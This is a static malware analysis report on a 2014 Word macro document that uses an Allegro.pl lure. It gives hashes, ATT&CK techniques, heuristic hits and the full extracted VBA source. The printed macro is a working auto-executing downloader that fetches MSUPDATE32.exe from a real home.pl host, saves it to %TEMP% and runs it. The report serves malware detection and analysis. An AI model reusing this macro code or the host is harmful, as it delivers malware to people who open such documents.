Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d62eff399cec0e3c…

MALICIOUS

Office (OLE)

35.0 KB Created: 2014-06-18 17:50:00 Authoring application: Microsoft Office Word First seen: 2014-07-06
MD5: d9b2f4a7c5a5ea712ebf70f93a3b86e7 SHA-1: 2d5482f2df7e66b7950287bbcd3ee7a41ced0e3b SHA-256: d62eff399cec0e3c7d74702b0f51f600755f8dc3cc3386f0ce486dde67814ed3
274 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The document body prompts the user to enable macros to load data from Allegro.pl. The Workbook_Open macro triggers Auto_Open, which calls JJICEL. JJICEL uses the TXXVLX function to download a file from 'http://serwer1400183.home.pl/MSUPDATE32.exe' and save it as '%TEMP%\LXOTTX.exe', then executes it. This indicates an attempt to download and execute a second-stage payload.

Heuristics 11

  • ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        KEIAGR = Shell(WMZXBG, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set YSGWAF = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        TXXVLX "http://serwer1400183.home.pl/MSUPDATE32.exe", Environ("TMP") & "\LXOTTX.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://serwer1400183.home.pl/MSUPDATE32.exeIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1146 bytes
SHA-256: b6d479c8e505c28f0d6f22c5f3501ee11b7b8630b4d1aa995dd74357ce09d0a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Workbook_Open()
    Auto_Open
End Sub
Sub JJICEL()
    TXXVLX "http://serwer1400183.home.pl/MSUPDATE32.exe", Environ("TMP") & "\LXOTTX.exe"
End Sub
Function TXXVLX(ByVal PTEFAI As String, ByVal WMZXBG As String) As Boolean
     Dim YSGWAF As Object, XXPCCW As Long, EGMDNB As Long, UUWCWP() As Byte

    Set YSGWAF = CreateObject("MSXML2.XMLHTTP")
    YSGWAF.Open "GET", PTEFAI, False
    YSGWAF.Send "send request"

    Do While YSGWAF.readyState <> 4
    DoEvents
    Loop

    UUWCWP = YSGWAF.responseBody

    EGMDNB = FreeFile
    If Dir(WMZXBG) <> "" Then Kill WMZXBG
    Open WMZXBG For Binary As #EGMDNB
    Put #EGMDNB, , UUWCWP
    Close #EGMDNB
    
    Dim KEIAGR
    KEIAGR = Shell(WMZXBG, 1)

    Set YSGWAF = Nothing
     
End Function
Sub Auto_Open()
JJICEL
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.